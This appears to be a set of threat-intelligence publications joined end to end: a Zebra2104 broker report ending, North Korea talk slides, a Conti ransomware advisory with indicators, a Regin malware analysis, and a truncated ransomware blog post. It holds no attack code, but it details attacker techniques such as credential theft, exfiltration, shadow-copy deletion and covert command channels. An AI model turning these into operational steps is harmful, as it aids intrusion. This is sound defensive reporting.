the DNS protocol in an attempt to be stealthy. This is also why the domain name was set to masquerade as a DNS name server. ## One More Thing, Before You Go! Now that we’ve seen the potential IAB group infrastructure in all its glory, do you notice anything about the IPs discussed here? All the domains mentioned in this paper at one time resolved to IPs that were provided by the same Bulgarian Autonomous System Numbers (ASN), which belongs to Neterra Ltd. This is not to say we believe the threat actor to be Bulgarian, but that all their infrastructure is hosted with one specific company. Furthermore, Neterra isn’t known to be a bulletproof hosting provider; it’s more likely that it’s being abused to facilitate this malicious activity. The fact that all these IPs are on the same ASN helps us bind together the theory that this is in fact all the work of one threat group, underpinning the operation of the groups it sells its access to. ## Finding Beacons in the Dark For those of you interested, here’s a shameless plug for our new book “Finding Beacons in the Dark: A Guide to Cyber Threat Intelligence,” which the BlackBerry Research & Threat Intelligence Team has lovingly crafted over the course of this year. In the book, we demonstrate our Cyber Threat Intelligence (CTI) lifecycle, and show how you can build your own automation system to hunt for threats. In this case, that threat would be the Cobalt Strike Team Server. We also give you an in-depth look at Beacon configuration and their Malleable C2 profiles, and reveal insights, trends, and discoveries from over 48,000 Beacons and 6,000 unique Team Servers. In addition, we show you the power of intelligence correlation that can be gleaned from datasets such as these, including how it can be used to: - Build profiles of threat actors - Broaden knowledge of existing threat groups - Track both ongoing and new threat actor campaigns The end result is that you can then: - Provide actionable intelligence to SOC analysis, IR teams, and investigators - Reduce “alert fatigue” - Improve threat detection - Fine-tune security solutions and services ## Conclusions As is the case with many cyber investigations in today’s threat landscape, this journey began with the analysis of a Cobalt Strike Beacon and the data contained within its configuration. The presence of a single domain – trashborting.com – along with both its current and historical resolution information, led us to uncover links to many different campaigns and a new group that the BlackBerry Research & Intelligence Team named, and continues to track, as Zebra2104. This name stems from the use of initial access services that, as a byproduct, allow for threat actors to “hide in the herd.” One such campaign was the malspam infrastructure previously documented by Microsoft, which was seen to serve an assortment of malware – from ransomware to infostealers – and many more in between. This same infrastructure had also been observed waging a phishing campaign that targeted Australian entities, both in the governmental and private sector, in September of 2020. When we delved deeper, we found two sister domains that led us down further intelligence avenues, to ultimately identifying both a MountLocker and a Phobos intrusion from the same domain. We then identified another domain sharing a past IP resolution, linked to the StrongPity APT group by Talos Intelligence in June of 2020. With three seemingly unrelated threat groups using and sharing overlapping infrastructure, we asked ourselves the question, “What is the most plausible explanation for these peculiar links?” (Especially as these groups’ motives didn’t seem to align.) We concluded that this was not the work of the three groups together, but of a fourth player; an Initial Access Broker we dubbed Zebra2104, which provided the initial access into victim environments. The interlinking web of malicious infrastructure seen throughout this research has shown that, in a manner that mirrors the legitimate business world, cybercrime groups are in some cases run not unlike multinational organizations. They create partnerships and alliances to help advance their goals. If anything, it is safe to assume that these threat group “business partnerships” are going to become even more prevalent in future. To counter this, it is only via the tracking, documenting, and sharing of intelligence in relation to these groups (and many more) that the wider security community can monitor and defend against them. This cooperation will continue to further our collective understanding of how cybercriminals operate. If the bad guys work together, so should we! ## About The BlackBerry Research & Intelligence Team The BlackBerry Research & Intelligence team examines emerging and persistent threats, providing intelligence analysis for the benefit of defenders and the organizations they serve.
# From Zero to Sixty ## The Story of North Korea’s Rapid Ascent to Becoming a Global Cyber Superpower ### Speaker Background **Jason Rivera** Director: Strategic Threat Advisory Group - 14+ years innovating at the intersection of security operations & technology - US Government: Former Intelligence Officer/Captain in the U.S. Army; assignments with National Security Agency (NSA), U.S. Cyber Command (USCYBERCOM); served in combat tours overseas - Private Sector: Built threat intelligence programs for large Fortune 500 companies and US government agencies - Education: Masters, Security Studies from Georgetown University, and Economics from the University of Oklahoma - Public Speaking: RSA Conference, Gartner Conference, NATO Conference on Cyber Conflict; InfoSecWorld Conference & Expo - Contact: Jason.Rivera@CrowdStrike.com | +1-571-417-0494 **Josh Burgess** Lead Global Technical Threat Advisor - Over a decade of cyber threat analysis & mitigation experience serving in multiple positions including in the intelligence community, the Department of Defense, and the financial sector. - In his current position at CrowdStrike, he supports customers by applying his experience in actioning both short-term tactical and long-term strategic intelligence data and reporting. - Contact: Josh.Burgess@CrowdStrike.com | +1-571-432-7004 ## Executive Summary ### Phase 1: Military-Focused Targeting - **Early 2000s**: Primarily characterized by military-focused targeting. - **2014**: Shift towards currency generation operations (fraud, ransomware, SWIFT banking system attacks, etc.). - **Late 2015 – Early 2018**: Geared more towards dual-focused operations. - **Early 2018 Onwards**: Marks a shift engaging both economic expansion targets and government targets. ### A Brief History in Review - **APR 2011**: DDoS against ROK Nonghyup bank. - **MAR 2011**: Ten Days of Rain DDoS against USFK sites. - **JUN 2013**: Cyber espionage campaign targets ROK Ministry of Unification. - **DEC 2014**: Korea Hydro & Nuclear Power exposes PII and sensitive plant data. - **AUG 2016**: 200GB of ROK Defense Ministry data exfiltrated. - **APR 2017**: South Korean cryptocurrency exchanges compromised. - **FEB 2018**: Ricochet thwarts DPRK cyber attack against defense infrastructure. - **AUG 2020**: Israel thwarts DPRK cyber attack against dissident targets. ### Phase 1: Military-Focused Targeting - **Personas**: - Independence Day and 10 Days of Rain: Initially no misdirection but also not outright admission. - DarkSeoul: Team with references to Roman foot soldiers. - Operation HighAnonymous: Riding the popularity of Anon campaigns. - Guardians of Peace: Imagery overlap with Whois. - WhoAmI: Bending hacktivist front with monetary extortion. ### Phase 2: Currency Generation Operations - **SWIFT Targeting**: - 19 total attacks observed in 18 countries. - Attempts to steal over 2 billion USD across all financial targeting. - Deep knowledge of target systems well before the hack was performed. - **ATM Jackpotting**: - Specialized AIX Operating system specific malware. - Attack allowed ATM jackpotting in more than 30 countries. - **Ransomware (WannaCry)**: - 200,000 systems infected worldwide demanding $300+ in bitcoin. ### Phase 3: Dual-Focused Operations - **Economic Growth Targeting**: - 2017 targeting of North America similar to previous ROK targeting. - 2018 ceased targeting of US but continued EU and APAC. - **Expanded Criminal Operations**: - Cryptocurrency targeting via fake applications. - eCrime collaboration with multiple actors. ## Conclusion - **What the Future May Hold for the North Korean Regime**: - Advanced ransomware operations may include data extortion. - DPRK may refine their focus on economic growth targets in support of their five-year plan. - Transition focus away from nuclear deterrence towards cyber deterrence. Thank you for your time.
# Alert (AA21-265A) ## Summary ### Immediate Actions You Can Take Now to Protect Against Conti Ransomware - Use multifactor authentication. - Segment and segregate networks and functions. - Update your operating system and software. March 9, 2022: this joint CSA was updated to include indicators of compromise and the United States Secret Service as a co-author. Updated February 28, 2022: Conti cyber threat actors remain active and reported Conti ransomware attacks against U.S. and international organizations have risen to more than 1,000. Notable attack vectors include Trickbot and Cobalt Strike. While there are no specific or credible cyber threats to the U.S. homeland at this time, CISA, FBI, and NSA encourage organizations to review this advisory and apply the recommended mitigations. The Cybersecurity and Infrastructure Security Agency (CISA) and the Federal Bureau of Investigation (FBI) have observed the increased use of Conti ransomware in more than 400 attacks on U.S. and international organizations. In typical Conti ransomware attacks, malicious cyber actors steal files, encrypt servers and workstations, and demand a ransom payment. To secure systems against Conti ransomware, CISA, FBI, and the National Security Agency (NSA) recommend implementing the mitigation measures described in this Advisory, which include requiring multifactor authentication (MFA), implementing network segmentation, and keeping operating systems and software up to date. ### Technical Details While Conti is considered a ransomware-as-a-service (RaaS) model ransomware variant, there is variation in its structure that differentiates it from a typical affiliate model. It is likely that Conti developers pay the deployers of the ransomware a wage rather than a percentage of the proceeds used by affiliate cyber actors and receive a share of the proceeds from a successful attack. Conti actors often gain initial access to networks through: - Spearphishing campaigns using tailored emails that contain malicious attachments or malicious links. - Malicious Word attachments often contain embedded scripts that can be used to download or drop other malware—such as TrickBot and IcedID, and/or Cobalt Strike—to assist with lateral movement and later stages of the attack life cycle with the eventual goal of deploying Conti ransomware. - Stolen or weak Remote Desktop Protocol (RDP) credentials. - Phone calls. - Fake software promoted via search engine optimization. - Other malware distribution networks (e.g., ZLoader). - Common vulnerabilities in external assets. In the execution phase, actors run a `getuid` payload before using a more aggressive payload to reduce the risk of triggering antivirus engines. CISA and FBI have observed Conti actors using Router Scan, a penetration testing tool, to maliciously scan for and brute force routers, cameras, and network-attached storage devices with web interfaces. Additionally, actors use Kerberos attacks to attempt to get the Admin hash to conduct brute force attacks. Conti actors are known to exploit legitimate remote monitoring and management software and remote desktop software as backdoors to maintain persistence on victim networks. The actors use tools already available on the victim network—and, as needed, add additional tools, such as Windows Sysinternals and Mimikatz—to obtain users’ hashes and clear-text credentials, which enable the actors to escalate privileges within a domain and perform other post-exploitation and lateral movement tasks. In some cases, the actors also use TrickBot malware to carry out post-exploitation tasks. According to a recently leaked threat actor “playbook,” Conti actors also exploit vulnerabilities in unpatched assets to escalate privileges and move laterally across a victim’s network: - 2017 Microsoft Windows Server Message Block 1.0 server vulnerabilities. - "PrintNightmare" vulnerability (CVE-2021-34527) in Windows Print spooler service. - "Zerologon" vulnerability (CVE-2020-1472) in Microsoft Active Directory Domain Controller systems. Artifacts leaked with the playbook identify four Cobalt Strike server Internet Protocol (IP) addresses Conti actors previously used to communicate with their command and control (C2) server: - 162.244.80[.]235 - 85.93.88[.]165 - 185.141.63[.]120 - 82.118.21[.]1 CISA and FBI have observed Conti actors using different Cobalt Strike server IP addresses unique to different victims. Conti actors often use the open-source Rclone command line program for data exfiltration. After the actors steal and encrypt the victim's sensitive data, they employ a double extortion technique in which they demand the victim pay a ransom for the release of the encrypted data and threaten the victim with public release of the data if the ransom is not paid. ### Indicators of Compromise Updated March 9, 2022: The following domains have registration and naming characteristics similar to domains used by groups that have distributed Conti ransomware. Many of these domains have been used in malicious operations; however, some may be abandoned or may share similar characteristics coincidentally. **Domains** - badiwaw[.]com - fipoleb[.]com - kipitep[.]com - pihafi[.]com - tiyuzub[.]com - balacif[.]com - fofudir[.]com - kirute[.]com - pilagop[.]com - tubaho[.]com - barovur[.]com - fulujam[.]com - kogasiv[.]com - pipipub[.]com - vafici[.]com - basisem[.]com - ganobaz[.]com - kozoheh[.]com - pofifa[.]com - vegubu[.]com - bimafu[.]com - gerepa[.]com - kuxizi[.]com - radezig[.]com - vigave[.]com - bujoke[.]com - gucunug[.]com - kuyeguh[.]com - raferif[.]com - vipeced[.]com - buloxo[.]com - guvafe[.]com - lipozi[.]com - ragojel[.]com - vizosi[.]com - bumoyez[.]com - hakakor[.]com - lujecuk[.]com - rexagi[.]com - vojefe[.]com - bupula[.]com - hejalij[.]com - masaxoc[.]com - rimurik[.]com - vonavu[.]com - cajeti[.]com - hepide[.]com - mebonux[.]com - rinutov[.]com - wezeriw[.]com - cilomum[.]com - hesovaw[.]com - mihojip[.]com - rusoti[.]com - wideri[.]com - codasal[.]com - hewecas[.]com - modasum[.]com - sazoya[.]com - wudepen[.]com - comecal[.]com - hidusi[.]com - moduwoj[.]com - sidevot[.]com - wuluxo[.]com - dawasab[.]com - hireja[.]com - movufa[.]com - solobiv[.]com - wuvehus[.]com - derotin[.]com - hoguyum[.]com - nagahox[.]com - sufebul[.]com - wuvici[.]com - dihata[.]com - jecubat[.]com - nawusem[.]com - suhuhow[.]com - wuvidi[.]com - dirupun[.]com - jegufe[.]com - nerapo[.]com - sujaxa[.]com - xegogiv[.]com - dohigu[.]com - joxinu[.]com - newiro[.]com - tafobi[.]com - xekezix[.]com - dubacaj[.]com - kelowuh[.]com - paxobuy[.]com - tepiwo[.]com - fecotis[.]com - kidukes[.]com - pazovet[.]com - tifiru[.]com ### MITRE ATT&CK Techniques Conti ransomware uses the ATT&CK techniques listed in the following table. **Table 1: Conti ATT&CK techniques for enterprise** **Initial Access** - **Technique Title**: Valid Accounts - **ID**: T1078 - **Use**: Conti actors have been observed gaining unauthorized access to victim networks through stolen Remote Desktop Protocol (RDP) credentials. - **Technique Title**: Phishing: Spearphishing Attachment - **ID**: T1566.001 - **Use**: Conti ransomware can be delivered using TrickBot malware, which is known to use an email with an Excel sheet containing a malicious macro to deploy the malware. - **Technique Title**: Phishing: Spearphishing Link - **ID**: T1566.002 - **Use**: Conti ransomware can be delivered using TrickBot, which has been delivered via malicious links in phishing emails. **Execution** - **Technique Title**: Command and Scripting Interpreter: Windows Command Shell - **ID**: T1059.003 - **Use**: Conti ransomware can utilize command line options to allow an attacker control over how it scans and encrypts files. - **Technique Title**: Native Application Programming Interface (API) - **ID**: T1106 - **Use**: Conti ransomware has used API calls during execution. **Persistence** - **Technique Title**: Valid Accounts - **ID**: T1078 - **Use**: Conti actors have been observed gaining unauthorized access to victim networks through stolen RDP credentials. - **Technique Title**: External Remote Services - **ID**: T1133 - **Use**: Adversaries may leverage external-facing remote services to initially access and/or persist within a network. **Privilege Escalation** - **Technique Title**: Process Injection: Dynamic-link Library Injection - **ID**: T1055.001 - **Use**: Conti ransomware has loaded an encrypted dynamic-link library (DLL) into memory and then executes it. **Defense Evasion** - **Technique Title**: Obfuscated Files or Information - **ID**: T1027 - **Use**: Conti ransomware has encrypted DLLs and used obfuscation to hide Windows API calls. - **Technique Title**: Process Injection: Dynamic-link Library Injection - **ID**: T1055.001 - **Use**: Conti ransomware has loaded an encrypted DLL into memory and then executes it. - **Technique Title**: Deobfuscate/Decode Files or Information - **ID**: T1140 - **Use**: Conti ransomware has decrypted its payload using a hardcoded AES-256 key. **Credential Access** - **Technique Title**: Brute Force - **ID**: T1110 - **Use**: Conti actors use legitimate tools to maliciously scan for and brute force routers, cameras, and network-attached storage devices with web interfaces. - **Technique Title**: Steal or Forge Kerberos Tickets: Kerberoasting - **ID**: T1558.003 - **Use**: Conti actors use Kerberos attacks to attempt to get the Admin hash. **System Discovery** - **Technique Title**: System Network Configuration Discovery - **ID**: T1016 - **Use**: Conti ransomware can retrieve the ARP cache from the local system by using the `GetIpNetTable()` API call. - **Technique Title**: System Network Connections Discovery - **ID**: T1049 - **Use**: Conti ransomware can enumerate routine network connections from a compromised host. - **Technique Title**: Process Discovery - **ID**: T1057 - **Use**: Conti ransomware can enumerate through all open processes to search for any that have the string `sql` in their process name. - **Technique Title**: File and Directory Discovery - **ID**: T1083 - **Use**: Conti ransomware can discover files on a local system. - **Technique Title**: Network Share Discovery - **ID**: T1135 - **Use**: Conti ransomware can enumerate remote open server message block (SMB) network shares. **Lateral Movement** - **Technique Title**: Remote Services: SMB/Windows Admin Shares - **ID**: T1021.002 - **Use**: Conti ransomware can spread via SMB and encrypts files on different hosts. - **Technique Title**: Taint Shared Content - **ID**: T1080 - **Use**: Conti ransomware can spread itself by infecting other remote machines via network shared drives. **Impact** - **Technique Title**: Data Encrypted for Impact - **ID**: T1486 - **Use**: Conti ransomware can use `CreateIoCompletionPort()`, `PostQueuedCompletionStatus()`, and `GetQueuedCompletionPort()` to rapidly encrypt files, excluding those with the extensions of `.exe`, `.dll`, and `.lnk`. It has used a different AES-256 encryption key per file with a bundled RAS-4096 public encryption key that is unique for each victim. - **Technique Title**: Service Stop - **ID**: T1489 - **Use**: Conti ransomware can stop up to 146 Windows services related to security, backup, database, and email solutions. - **Technique Title**: Inhibit System Recovery - **ID**: T1490 - **Use**: Conti ransomware can delete Windows Volume Shadow Copies using `vssadmin`. ### Mitigations CISA, FBI, and NSA recommend that network defenders apply the following mitigations to reduce the risk of compromise by Conti ransomware attacks: - Use multifactor authentication. - Implement network segmentation and filter traffic. - Enable strong spam filters to prevent phishing emails from reaching end users. - Implement a user training program to discourage users from visiting malicious websites or opening malicious attachments. - Scan for vulnerabilities and keep software updated. - Remove unnecessary applications and apply controls. - Implement endpoint and detection response tools. - Limit access to resources over the network, especially by restricting RDP. - Secure user accounts. - Review CISA’s APTs Targeting IT Service Provider Customers guidance for additional mitigations specific to IT Service Providers and their customers. - Use the Ransomware Response Checklist in case of infection. If a ransomware incident occurs at your organization, CISA, FBI, and NSA recommend the following actions: - Follow the Ransomware Response Checklist. - Scan your backups. - Report incidents immediately to CISA, a local FBI Field Office, or U.S. Secret Service Field Office. - Apply incident response best practices. CISA, FBI, and NSA strongly discourage paying a ransom to criminal actors. Paying a ransom may embolden adversaries to target additional organizations and does not guarantee that a victim’s files will be recovered.
# Regin: Top-tier Espionage Tool Enables Stealthy Surveillance ## Overview In the world of malware threats, only a few rare examples can truly be considered groundbreaking and almost peerless. What we have seen in Regin is just such a class of malware. Regin is an extremely complex piece of software that can be customized with a wide range of different capabilities which can be deployed depending on the target. It is built on a framework that is designed to sustain long-term intelligence-gathering operations by remaining under the radar. It goes to extraordinary lengths to conceal itself and its activities on compromised computers. Its stealth combines many of the most advanced techniques that we have ever seen in use. The main purpose of Regin is intelligence gathering and it has been implicated in data collection operations against government organizations, infrastructure operators, businesses, academics, and private individuals. The level of sophistication and complexity of Regin suggests that the development of this threat could have taken well-resourced teams of developers many months or years to develop and maintain. Regin is a multi-staged, modular threat, meaning that it has a number of components, each depending on others, to perform attack operations. This modular approach gives flexibility to the threat operators as they can load custom features tailored to individual targets when required. Some custom payloads are very advanced and exhibit a high degree of expertise in specialist sectors. The modular design also makes analysis of the threat difficult, as all components must be available in order to fully understand it. This modular approach has been seen in other sophisticated malware families such as Flamer and Weevil (The Mask), while the multi-stage loading architecture is similar to that seen in the Duqu/Stuxnet family of threats. Regin is different from what are commonly referred to as “traditional” advanced persistent threats (APTs), both in its techniques and ultimate purpose. APTs typically seek specific information, usually intellectual property. Regin’s purpose is different. It is used for the collection of data and continuous monitoring of targeted organizations or individuals. This report provides a technical analysis of Regin based on a number of identified samples and components. This analysis illustrates Regin’s architecture and the many payloads at its disposal. ## Introduction Regin is a multi-purpose data collection tool which dates back several years. Symantec first began looking into this threat in the fall of 2013. Multiple versions of Regin were found in the wild, targeting several corporations, institutions, academics, and individuals. Regin has a wide range of standard capabilities, particularly around monitoring targets and stealing data. It also has the ability to load custom features tailored to individual targets. Some of Regin’s custom payloads point to a high level of specialist knowledge in particular sectors, such as telecoms infrastructure software, on the part of the developers. Regin is capable of installing a large number of additional payloads, some highly customized for the targeted computer. The threat’s standard capabilities include several remote access Trojan (RAT) features, such as capturing screenshots and taking control of the mouse’s point-and-click functions. Regin is also configured to steal passwords, monitor network traffic, and gather information on processes and memory utilization. It can also scan for deleted files on an infected computer and retrieve them. More advanced payload modules designed with specific goals in mind were also found in our investigations. For example, one module was designed to monitor network traffic to Microsoft Internet Information Services (IIS) web servers, another was designed to collect administration traffic for mobile telephony base station controllers, while another was created specifically for parsing mail from Exchange databases. Regin goes to some lengths to hide the data it is stealing. Valuable target data is often not written to disk. In some cases, Symantec was only able to retrieve the threat samples but not the files containing stolen data. ## Timeline Symantec is aware of two distinct versions of Regin. Version 1.0 appears to have been used from at least 2008 to 2011. Version 2.0 has been used from 2013 onwards, though it may have possibly been used earlier. Version 1.0 appears to have been abruptly withdrawn from circulation in 2011. Version 1.0 samples found after this date seem to have been improperly removed or were no longer accessible to the attackers for removal. This report is based primarily on our analysis of Regin version 1.0. We also touch on version 2.0, for which we only recovered 64-bit files. Symantec has assigned these version identifiers as they are the only two versions that have been acquired. Regin likely has more than two versions. There may be versions prior to 1.0 and versions between 1.0 and 2.0. ## Target Profile The Regin operators do not appear to focus on any specific industry sector. Regin infections have been observed in a variety of organizations, including private companies, government entities, and research institutes. Infections are also geographically diverse, having been identified mainly in 10 different regions. ## Infection Vector The infection vector varies among targets. A reproducible infection vector is unconfirmed at the time of writing. Targets may be tricked into visiting spoofed versions of well-known websites and the threat may be installed through a web browser or by exploiting an application. On one computer, log files show that Regin originated from Yahoo! Instant Messenger through an unconfirmed exploit. ## Architecture Regin has a six-stage architecture. The initial stages involve the installation and configuration of the threat’s internal services. The later stages bring Regin’s main payloads into play. This section presents a brief overview of the format and purpose of each stage. The most interesting stages are the executables and data files stored in Stages 4 and 5. The initial Stage 1 driver is the only plainly visible code on the computer. All other stages are stored as encrypted data blobs, as a file or within a non-traditional file storage area such as the registry, extended attributes, or raw sectors at the end of disk. ### Stages - **Stage 0**: Dropper. Installs Regin onto the target computer. - **Stage 1**: Loads driver. - **Stage 2**: Loads driver. - **Stage 3**: Loads compression, encryption, networking, and handling for an encrypted virtual file system (EVFS). - **Stage 4**: Utilizes the EVFS and loads additional kernel mode drivers, including payloads. - **Stage 5**: Main payloads and data files. ## Stage 0 (Dropper) Symantec Security Response has not obtained the Regin dropper at the time of writing. Symantec believes that once the dropper is executed on the target’s computer, it will install and execute Stage 1. It’s likely that Stage 0 is responsible for setting up various extended attributes and/or registry keys and values that hold encoded versions of stages 2, 3, and potentially stages 4 and onwards. The dropper could be transient rather than acting as an executable file and may possibly be part of the infection vector exploit code. ## Stage 1 Stage 1 is the initial load point for the threat. There are two known Stage 1 file names: - usbclass.sys (version 1.0) - adpu160.sys (version 2.0) These are kernel drivers that load and execute Stage 2. These kernel drivers may be registered as a system service or may have an associated registry key to load the driver while the computer is starting up. Stage 1 simply reads and executes Stage 2 from a set of NTFS extended attributes. If no extended attributes are found, Stage 2 is executed from a set of registry keys. ## Stage 2 Stage 2 is a kernel driver that simply extracts, installs and runs Stage 3. Stage 2 is not stored in the traditional file system, but is encrypted within an extended attribute or a registry key blob. This stage can also hide running instances of Stage 1. Once this happens, there are no remaining plainly visible code artifacts. Similar to previous stages, Stage 2 finds and loads an encrypted version of Stage 3 from either NTFS extended attributes or a registry key blob. ## Stage 3 Stage 3 is a kernel mode DLL and is not stored in the traditional file system. Instead, this file is encrypted within an extended attribute or registry key blob. The file is six to seven times the size of the driver in Stage 2. In addition to loading and executing Stage 4, Stage 3 offers a framework for the higher level stages. Stages 3 and above are based on a modular framework of code modules. These modules offer functions through a private, custom interface. Each file in stages 3 and above can “export” functionality to other parts of Regin. ## Stage 4 The files for Stage 4, which are loaded by Stage 3, consist of a user-mode orchestrator and multiple kernel payload modules. They are stored in two EVFS containers as files: - %System%\config\SystemAudit.Evt: Contains Stage 4 kernel drivers, which constitute the kernel mode part of Regin’s payload. - %System%\config\SecurityAudit.Evt: Contains a user mode version of Stage 3. The files are injected into services.exe. When the attackers who operated Regin cleaned up compromised computers once they were finished with them, they often failed to remove Stage 4 and 5 artifacts from the system. Stage 4 also uses the same export methodology described in Stage 3. ## Stage 5 Stage 5 consists of the main Regin payload functionality. The files for Stage 5 are injected into services.exe by Stage 4. Regin’s payload involves the DLLs contained in the SystemLog.evt EVFS container. The payload functionality differs depending on the targeted computer. Custom payload files will likely be delivered for each specific environment. Example payload functionality seen to date includes: - Sniffing low-level network traffic - Exfiltrating data through various channels (TCP, UDP, ICMP, HTTP) - Gathering computer information - Stealing passwords - Gathering process and memory information - Crawling through the file system - Low level forensics capabilities (for example, retrieving files that were deleted) - UI manipulation (remote mouse point & click activities, capturing screenshots, etc.) - Enumerating IIS web servers and stealing logs - Sniffing GSM BSC administration network traffic ## Encrypted Virtual File System Containers Regin stores data files and payloads on disk in encrypted virtual file system files. Such files are accessed by the major routines 3Dh. Files stored inside EVFS containers are encrypted with a variant of RC5, using 64-bit blocks and 20 rounds. The encryption mode is reverse cipher feedback (CFB). Known extensions for EVFS containers are *.evt and *.imd. The structure of a container is similar to the FAT file system. One major difference is that files do not have a name; instead, they’re identified using a binary tag. ## Command-and-Control Operations Regin’s C&C operations are extensive. These backchannel operations are bidirectional, which means either the attackers can initiate communications with compromised computers on the border network or the compromised computers can initiate communications with the attacker. Furthermore, compromised computers can serve as a proxy for other infections and command and control can also happen in a peer-to-peer fashion. All communications are strongly encrypted and can happen in a two-stage fashion where the attacker may contact a compromised computer using one channel to instruct it to begin communications on a different channel. Four transport protocols are available for C&C: - ICMP: Payload information can be encoded and embedded in lieu of legitimate ICMP/ping data. - UDP: Raw UDP payload. - TCP: Raw TCP payload. - HTTP: Payload information can be encoded and embedded within cookie data. ## Logging Regin logs data to the ApplicationLog.dat file. This file is not an encrypted container, but it is encrypted and compressed. ## Payloads Regin can be distributed with various payload modules or receive payload modules after infection. The extensible nature of Regin and its custom payloads indicate that many additional payloads are likely to exist in order to enhance Regin’s capabilities. The following table describes the Stage 4 kernel payload modules and Stage 5 user mode payload modules, which we have seen several variants of Regin use. ### Stage 4 Kernel Payload Modules and Stage 5 User Mode Payload Modules | File Type | Major | Description | |-----------|-------|-------------| | SYS | 0003 | Driver | | SYS | C433 | Rootkit | | SYS | C42B | PE loader | | SYS | C42D | DLL injection | | SYS | C3C3 | Network packet filter driver | | SYS | 4E69 | Network port blocker | | DLL | C363 | Network packet capture | | DLL | 4E3B | Retrieve proxy information | | DLL | 290B | Password stealer | | DLL | C375 | C&C HTTP/cookies | | DLL | C383 | SSL communications | | DLL | C361 | Supporting cryptography functions | | DLL | 001B | ICMP backchannel | | DLL | C399 | Record builder for ApplicationLog.Evt | | DLL | C39F | Processes file | | DLL | C3A1 | Miscellaneous functions | | DLL | 28A5 | Miscellaneous functions | | DLL | C3C1 | Miscellaneous functions | | DLL | C3B5 | Gather system information | ## 64-bit Version Only a small amount of the 64-bit Regin files have been recovered. These samples may represent version 2.0 or their differences may possibly be solely specific to 64-bit versions of Regin. We also recovered files from infected computers that may or may not be associated with 64-bit Regin, including several variants of svcsstat.exe, a file that aims to retrieve binary data over pipes or sockets and execute the data. ### File Names The recovered files do not appear to fundamentally vary from their 32-bit counterparts, apart from a few noteworthy differences. The 32-bit and 64-bit versions of Regin use different file names. Most importantly, in the 64-bit version of Regin, the names of containers are changed: - PINTLGBP.IMD replaces SystemLog.Evt - PINTLGBPS.IMD replaces SecurityLog.Evt ### Stage Differences The 64-bit version of Regin’s Stage 1 (wshnetc.dll) is no longer a kernel mode driver, as drivers under 64-bit Windows must be signed. Instead, Stage 1 is a user mode DLL loaded as a Winsock helper when the computer is starting up. Rather than loading Stage 2 from an NTFS extended attribute, Stage 1 looks for the last partition on disk and searches for the payload in the raw sectors in this area of the disk. The 64-bit Regin’s Stage 3 has not been recovered. We believe that it may not exist, as the 32-bit version is a driver. Stage 4 is an orchestrator just like its 32-bit counterpart and it uses the same major and minor values to export functionality. ## Conclusion Regin is a highly-complex threat which has been used for large-scale data collection or intelligence gathering campaigns. The development and operation of this threat would have required a significant investment of time and resources. Threats of this nature are rare and are only comparable to the Stuxnet/Duqu family of malware. The discovery of Regin serves to highlight how significant investments continue to be made into the development of tools for use in intelligence gathering. Many components of Regin have still gone undiscovered and additional functionality and versions may exist. ## Protection Symantec and Norton products detect this threat as Backdoor.Regin. ## Appendix ### Data Files Regin’s data files are classified as Stage 5 components and are contained in an EVFS container. ### Indicators of Compromise **File MD5s** - 2c8b9d2885543d7ade3cae98225e263b - 4b6b86c7fec1c574706cecedf44abded - 187044596bc1328efa0ed636d8aa4a5c - 06665b96e293b23acc80451abb413e50 - d240f06e98c8d3e647cbf4d442d79475 - 6662c390b2bbbd291ec7987388fc75d7 - ffb0b9b5b610191051a7bdf0806e1e47 - b29ca4f22ae7b7b25f79c1d4a421139d - 1c024e599ac055312a4ab75b3950040a - ba7bb65634ce1e30c1e5415be3d1db1d - b505d65721bb2453d5039a389113b566 - b269894f434657db2b15949641a67532 - bfbe8c3ee78750c3a520480700e440f8 **File Names/Paths** - usbclass.sys - adpu160.sys - msrdc64.dat - msdcsvc.dat - %System%\config\SystemAudit.Evt - %System%\config\SecurityAudit.Evt - %System%\config\SystemLog.evt - %System%\config\ApplicationLog.evt - %Windir%\ime\imesc5\dicts\pintlgbs.imd - %Windir%\ime\imesc5\dicts\pintlgbp.imd - %Windir%\system32\winhttpc.dll - %Windir%\system32\wshnetc.dll - %Windir%\SysWow64\wshnetc.dll - %Windir%\system32\svcstat.exe - %Windir%\system32\svcsstat.exe **Extended Attributes** - %Windir% - %Windir%\cursors - %Windir%\fonts - %Windir%\System32 - %Windir%\System32\drivers **Registry** - HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Class\{4F20E605-9452-4787-B793-D0204917CA58} - HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\RestoreList\VideoBase - HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Class\{4F20E605-9452-4787-B793-D0204917CA5A}
# Exclusive: Apple, Macs Hit by Hackers Who Targeted Facebook By Jim Finkle, Joseph Menn BOSTON/SAN FRANCISCO (Reuters) - Apple Inc was recently attacked by hackers who infected Macintosh computers of some employees, the company
# Vipasana Ransomware: New Ransom on the Block Yet another ransomware is going around (since at least the 20th of December), which I've dubbed Vipasana ransomware due to where you need to send your encrypted files to: Message in Russian, you need to mail vipasana4@aol.com to get your files back. The name may be derived from Vipassanā or 'insight meditation'. The message in Russian reads: твои файлы зашифрованы, если хочешь все вернуть, отправь 1 зашифрованный файл на эту почту: vipasana4@aol.com ВНИМАНИЕ!!! у вас есть 1 неделя что-бы написать мне на почту, по прошествии этого срока расшифровка станет не возможна!!!! Translated: Your files are encrypted, if you want them all returned, send 1 encrypted file to this email: vipasana4@aol.com ATTENTION!!! you have 1 week to send the email, after this deadline decryption will not be possible!!!! It seems these ransomware authors first want you to send an email before requiring any other action, rather than immediately (or in a certain timeframe) paying Bitcoins to get your files back. In this sense, their technique is novel. Instead of the usual 24/48/72h to pay up, they give you a week. Do not be fooled: this does not make them 'good guys' in any way; they encrypted your files and as such are criminals. Search results for vipasana4@aol.com are non-existent, with the exception of one victim hit by this ransomware: Email addresses used in this specific ransomware campaign: - johnmen.24@aol.com - vipasana4@aol.com Files will be encrypted and renamed following the naming convention: `email-vipasana4@aol.com.ver-CL 1.2.0.0.id-[ID]-[DATE-TIME].randomname-[RANDOM].[XYZ].CBF` Where [XYZ] is also a random 'extension', the real extension is .cbf. ver-CL 1.2.0.0 may refer to the version number of the ransomware, indicating there are older versions as well. Targeted file extensions: .r3d, .rwl, .rx2, .p12, .sbs, .sldasm, .wps, .sldprt, .odc, .odb, .old, .nbd, .nx1, .nrw, .orf, .ppt, .mov, .mpeg, .csv, .mdb, .cer, .arj, .ods, .mkv, .avi, .odt, .pdf, .docx, .gzip, .m2v, .cpt, .raw, .cdr, .cdx, .1cd, .3gp, .7z, .rar, .db3, .zip, .xlsx, .xls, .rtf, .doc, .jpeg, .jpg, .psd, .zip, .ert, .bak, 